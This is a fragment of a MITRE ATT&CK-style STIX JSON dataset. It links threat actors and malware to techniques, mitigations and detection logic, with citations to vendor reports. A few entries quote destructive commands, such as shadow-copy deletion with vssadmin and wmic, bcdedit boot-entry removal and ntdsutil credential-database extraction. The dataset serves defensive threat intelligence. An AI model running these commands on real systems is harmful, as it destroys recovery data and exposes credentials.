            "description": "[EvilGrab](https://attack.mitre.org/software/S0152) adds a Registry Run key for ctfmon.exe to establish persistence.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved November 17, 2024.",
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            "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate services.(Citation: FireEye APT37 Feb 2018)",
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                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
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            "description": "[CCBkdr](https://attack.mitre.org/software/S0222) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008) if communications with the primary command and control server are lost.(Citation: Talos CCleanup 2017)",
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            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.(Citation: DFIR Ryuk's Return October 2020)",
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                    "description": "SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.",
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                    "source_name": "MSFT-AI",
                    "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used LLMs to identify think tanks, government organizations, etc. that have information.(Citation: MSFT-AI) ",
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                    "source_name": "Check Point Meteor Aug 2021",
                    "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022.",
                    "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
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            "modified": "2025-04-16T22:47:47.512Z",
            "description": "[Meteor](https://attack.mitre.org/software/S0688) can use `bcdedit` to delete different boot identifiers on a compromised host; it can also use `vssadmin.exe delete shadows /all /quiet` and `C:\\\\Windows\\\\system32\\\\wbem\\\\wmic.exe shadowcopy delete`.(Citation: Check Point Meteor Aug 2021)",
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                    "source_name": "Symantec Leafminer July 2018",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
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            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) infected victims using JavaScript code.(Citation: Symantec Leafminer July 2018)",
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                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
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                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
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                    "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021.",
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            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has exfiltrated data over its C2 channel.(Citation: CISA AA21-200A APT40 July 2021)",
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                    "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.",
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                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.",
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            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has detected a target system\u2019s OS version and system volume information.(Citation: TrendMicro TropicTrooper 2015)(Citation: TrendMicro Tropic Trooper May 2020)",
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                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
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                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.",
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                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
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            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can add malicious DLL modules as new services.[TYPEFRAME](https://attack.mitre.org/software/S0263) can also delete services from the victim\u2019s machine.(Citation: US-CERT TYPEFRAME June 2018)",
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                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"
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                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.",
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            "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can use `cmd.exe` to execute malicious code.(Citation: Check Point Warzone Feb 2020)",
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            ],
            "modified": "2025-04-16T22:48:06.710Z",
            "description": "Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
            "target_ref": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ce903557-bfa5-4796-be0a-9211f08da2e7",
            "created": "2022-09-21T14:51:33.311Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Bitdefender FunnyDream Campaign November 2020",
                    "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:48:06.905Z",
            "description": "(Citation: Bitdefender FunnyDream Campaign November 2020)",
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            "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8",
            "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "description": "Limit user accounts that can load or unload device drivers by disabling <code>SeLoadDriverPrivilege</code>.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ce962c48-3390-4286-91bb-b38d7fb4f07a",
            "created": "2019-05-28T16:25:35.420Z",
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                {
                    "source_name": "Proofpoint TA505 Sep 2017",
                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter"
                },
                {
                    "source_name": "Proofpoint TA505 June 2018",
                    "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times"
                },
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"
                },
                {
                    "source_name": "Cybereason TA505 April 2019",
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware"
                },
                {
                    "source_name": "ProofPoint SettingContent-ms July 2018",
                    "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat"
                },
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/"
                },
                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader"
                },
                {
                    "source_name": "IBM TA505 April 2020",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.",
                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/"
                }
            ],
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            ],
            "modified": "2025-04-28T16:10:57.113Z",
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used spearphishing emails with malicious attachments to initially compromise victims.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)",
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            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--ce9c90e9-d408-485e-a380-52a87abcf3fc",
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                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
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            "modified": "2025-04-28T16:10:57.287Z",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) established persistence by adding a Shell value under the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code>.(Citation: ESET Turla Mosquito Jan 2018)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
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            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
            "id": "relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
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            "description": "[Daserf](https://attack.mitre.org/software/S0187) uses RC4 encryption to obfuscate HTTP traffic.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--ce9f2e68-fbf0-4668-8ec6-89fefd10da7b",
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            "modified": "2025-04-28T16:10:57.668Z",
            "description": "Monitor for unusual kernel driver installation activity that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ce9f3239-13ee-4741-b839-8e7c68d5f9ef",
            "created": "2024-08-07T20:28:52.518Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant ROADSWEEP August 2022",
                    "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"
                }
            ],
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            ],
            "modified": "2025-04-16T22:48:07.891Z",
            "description": "[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can capture screenshots on targeted systems using a timer and either upload them or store them to disk.(Citation: Mandiant ROADSWEEP August 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--542e3384-341a-455b-bb48-4917b25e3b00",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cea07509-b84d-4b25-b9e8-758a8e66b3f1",
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                {
                    "source_name": "Cisco ARP Poisoning Mitigation 2016",
                    "description": "King, J., Lauerman, K. (2016, January 22). ARP Poisoning (Man-in-the-Middle) Attack and Mitigation Technique. Retrieved October 15, 2020.",
                    "url": "https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series-switches/white_paper_c11_603839.html"
                },
                {
                    "source_name": "Juniper DAI 2020",
                    "description": "Juniper. (2020, September 23). Understanding and Using Dynamic ARP Inspection (DAI). Retrieved October 15, 2020.",
                    "url": "https://www.juniper.net/documentation/en_US/junos/topics/task/configuration/understanding-and-using-dai.html"
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            "modified": "2025-04-28T16:10:57.936Z",
            "description": "Consider enabling DHCP Snooping and Dynamic ARP Inspection on switches to create mappings between IP addresses requested via DHCP and ARP tables and tie the values to a port on the switch that may block bogus traffic.(Citation: Cisco ARP Poisoning Mitigation 2016)(Citation: Juniper DAI 2020)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--cea08e8e-2209-4d29-bc76-722091344259",
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            "revoked": false,
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                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
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            ],
            "modified": "2025-04-16T22:48:08.296Z",
            "description": "During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used JavaScript code.(Citation: Cylance Dust Storm)",
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            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--cea62da0-1d9f-40d8-adfb-ee40f6b1a345",
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            "revoked": false,
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                {
                    "source_name": "GitHub Pacu",
                    "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.",
                    "url": "https://github.com/RhinoSecurityLabs/pacu"
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            ],
            "modified": "2025-04-16T22:48:08.501Z",
            "description": "[Pacu](https://attack.mitre.org/software/S1091) leverages the AWS CLI for its operations.(Citation: GitHub Pacu)",
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            "id": "relationship--cea7b276-d2be-4af4-adaf-28eb26079098",
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                {
                    "source_name": "ESET Casbaneiro Oct 2019",
                    "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.",
                    "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"
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            ],
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            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has collected the username from the victim's machine.(Citation: ESET Casbaneiro Oct 2019) ",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--ceac12d5-3c40-42f6-a7df-0fa2e67bf1e8",
            "created": "2019-06-18T18:42:42.566Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Flashpoint FIN 7 March 2019",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:10:58.465Z",
            "description": "(Citation: Flashpoint FIN 7 March 2019)",
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            "target_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--ceadd093-d60f-452e-a145-671d010bba50",
            "created": "2023-10-12T21:40:00.267Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "netlab360 rotajakiro vs oceanlotus",
                    "description": "Alex Turing. (2021, May 6). RotaJakiro, the Linux version of the OceanLotus. Retrieved June 14, 2023.",
                    "url": "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:48:09.100Z",
            "description": "[RotaJakiro](https://attack.mitre.org/software/S1078) has used the filename `systemd-daemon` in an attempt to appear legitimate.(Citation: netlab360 rotajakiro vs oceanlotus)",
            "relationship_type": "uses",
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                    "source_name": "Malwarebytes Higaisa 2020",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/"
                },
                {
                    "source_name": "Zscaler Higaisa 2020",
                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.",
                    "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt"
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            "modified": "2025-04-28T16:11:07.058Z",
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) named a shellcode loader binary <code>svchast.exe</code> to spoof the legitimate <code>svchost.exe</code>.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020) ",
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                {
                    "source_name": "CrowdStrike AQUATIC PANDA December 2021",
                    "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.",
                    "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/"
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            "modified": "2025-04-28T16:11:07.223Z",
            "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has used native OS commands to understand privilege levels and system details.(Citation: CrowdStrike AQUATIC PANDA December 2021)",
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            "modified": "2025-04-28T16:11:07.390Z",
            "description": "Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP allowlisting along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
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                    "description": "Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"
                },
                {
                    "source_name": "Proofpoint Bumblebee April 2022",
                    "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"
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                    "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021.",
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            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exploited CVE-2017-0005 for local privilege escalation.(Citation: Check Point APT31 February 2021)",
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                    "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"
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            "modified": "2025-04-16T22:48:21.913Z",
            "description": "[Saint Bot](https://attack.mitre.org/software/S1018) is closely correlated with [Saint Bear](https://attack.mitre.org/groups/G1031) operations as a common post-exploitation toolset.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )",
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                    "source_name": "Proofpoint TA459 April 2017",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"
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                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
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            "modified": "2025-04-28T16:11:07.996Z",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used RC4 to encrypt C2 traffic.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)",
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                {
                    "source_name": "Bitdefender FunnyDream Campaign November 2020",
                    "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"
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            "description": "During [FunnyDream](https://attack.mitre.org/campaigns/C0007), [Chinoxy](https://attack.mitre.org/software/S1041) was used to gain persistence and deploy other malware components.(Citation: Bitdefender FunnyDream Campaign November 2020)",
            "relationship_type": "uses",
            "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8",
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                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "DOJ FIN7 Aug 2018",
                    "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.",
                    "url": "https://www.justice.gov/opa/press-release/file/1084361/download"
                },
                {
                    "source_name": "eSentire FIN7 July 2021",
                    "description": "eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels\u2019 Owner, Brown-Forman Inc.. Retrieved September 20, 2021.",
                    "url": "https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc"
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                {
                    "source_name": "CrowdStrike Carbon Spider August 2021",
                    "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.",
                    "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"
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                {
                    "source_name": "Flashpoint FIN 7 March 2019",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.(Citation: FireEye FIN7 April 2017)(Citation: DOJ FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)",
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                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
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                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020.",
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                    "source_name": "NCC Group Team9 June 2020",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.",
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            "description": "Monitor for files that write or overwrite many files to a network shared directory may be suspicious.Track file modification events in shared directories, especially modifications that alter executables or scripts. Monitor for signs of binary tampering, such as changes to .DLL or .EXE files that were previously trusted. Look for metadata changes, such as new authors or timestamps inconsistent with expected changes.\n\n<code>sourcetype=\"WinEventLog:Security\" EventCode=4663 OR sourcetype=\"linux:audit\" syscall=\"write\"\n| search ObjectType=\"File\" AccessMask=\"0x2\"\n| stats count by ObjectName, AccountName, ProcessName, SourceIPAddress, _time\n| eval modification_suspicious=if(match(ObjectName, \"\\\\.exe$|\\\\.dll$|\\\\.lnk$\") AND ProcessName!=\"approved_tool.exe\", \"suspicious\", \"normal\")\n| where modification_suspicious=\"suspicious\" </code> ",
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                    "description": "Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.",
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.",
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                    "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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            "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has used Windows built-in tool `ntdsutil` to extract the Active Directory (AD) database.(Citation: MSTIC DEV-0537 Mar 2022)",
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            "id": "relationship--d17fcc24-a9ae-4841-b35b-f694b3991fba",
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"
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            "modified": "2025-04-16T22:48:54.396Z",
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has exfiltrated stolen data to OneDrive accounts.(Citation: NCC Group Chimera January 2021)",
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            "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c",
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                    "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.",
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            "description": "[Ecipekac](https://attack.mitre.org/software/S0624) can abuse the legitimate application policytool.exe to load a malicious DLL.(Citation: Securelist APT10 March 2021)",
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                    "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.",
                    "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/"
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            "object_marking_refs": [
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            "description": "(Citation: CrowdStrike PIONEER KITTEN August 2020)",
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            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--d199fd95-0954-451d-a21f-d0b6b99495c3",
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            "revoked": false,
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            "modified": "2025-04-16T22:48:55.361Z",
            "description": "Monitor for common cryptomining software process names that may indicate compromise and resource usage.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d1a17f31-c62f-4ec3-9a77-41e6a339a657",
            "created": "2020-05-21T17:07:02.444Z",
